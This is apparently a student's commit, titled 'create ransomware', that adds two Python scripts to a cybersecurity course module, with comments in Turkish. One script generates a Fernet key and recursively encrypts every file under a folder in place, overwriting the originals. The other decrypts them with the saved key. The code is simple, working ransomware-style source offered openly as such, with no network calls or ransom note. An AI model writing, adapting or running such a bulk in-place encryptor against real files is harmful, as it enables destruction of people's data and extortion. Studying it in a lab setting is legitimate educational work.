create ransomware

23-Cyber_Securit_Module/Ransomware/crypte.py

@@ -0,0 +1,46 @@
+import os
+from cryptography.fernet import Fernet
+
+def generate_key():
+    return Fernet.generate_key()
+
+def save_key(key, filename='secret.key'):
+    with open(filename, 'wb') as key_file:
+        key_file.write(key)
+
+def load_key(filename='secret.key'):
+    return open(filename, 'rb').read()
+
+def encrypt_file(key, filename):
+    fernet = Fernet(key)
+
+    with open(filename, 'rb') as file:
+        file_data = file.read()
+
+    encrypted_data = fernet.encrypt(file_data)
+
+    with open(filename, 'wb') as encrypted_file:
+        encrypted_file.write(encrypted_data)
+
+def encrypt_folder(key, folder_path):
+    fernet = Fernet(key)
+
+    for foldername, subfolders, filenames in os.walk(folder_path):
+        for filename in filenames:
+            file_path = os.path.join(foldername, filename)
+
+            with open(file_path, 'rb') as file:
+                file_data = file.read()
+
+            encrypted_data = fernet.encrypt(file_data)
+
+            with open(file_path, 'wb') as encrypted_file:
+                encrypted_file.write(encrypted_data)
+
+# Anahtar oluşturma ve kaydetme
+key = generate_key()
+save_key(key)
+
+# Klasör ve altındaki dosyaları şifreleme
+folder_path = 'example_folder'
+encrypt_folder(key, folder_path)

23-Cyber_Securit_Module/Ransomware/decrypte.py

@@ -0,0 +1,38 @@
+import os
+from cryptography.fernet import Fernet
+
+def load_key(filename='secret.key'):
+    return open(filename, 'rb').read()
+
+def decrypt_file(key, filename):
+    fernet = Fernet(key)
+
+    with open(filename, 'rb') as encrypted_file:
+        encrypted_data = encrypted_file.read()
+
+    decrypted_data = fernet.decrypt(encrypted_data)
+
+    with open(filename, 'wb') as decrypted_file:
+        decrypted_file.write(decrypted_data)
+
+def decrypt_folder(key, folder_path):
+    fernet = Fernet(key)
+
+    for foldername, subfolders, filenames in os.walk(folder_path):
+        for filename in filenames:
+            file_path = os.path.join(foldername, filename)
+
+            with open(file_path, 'rb') as encrypted_file:
+                encrypted_data = encrypted_file.read()
+
+            decrypted_data = fernet.decrypt(encrypted_data)
+
+            with open(file_path, 'wb') as decrypted_file:
+                decrypted_file.write(decrypted_data)
+
+# Anahtarı yükleme
+key = load_key()
+
+# Klasör ve altındaki dosyaları çözme
+folder_path = 'C:/Users/DoganPc/Desktop/ransomware/deneme/'
+decrypt_folder(key, folder_path)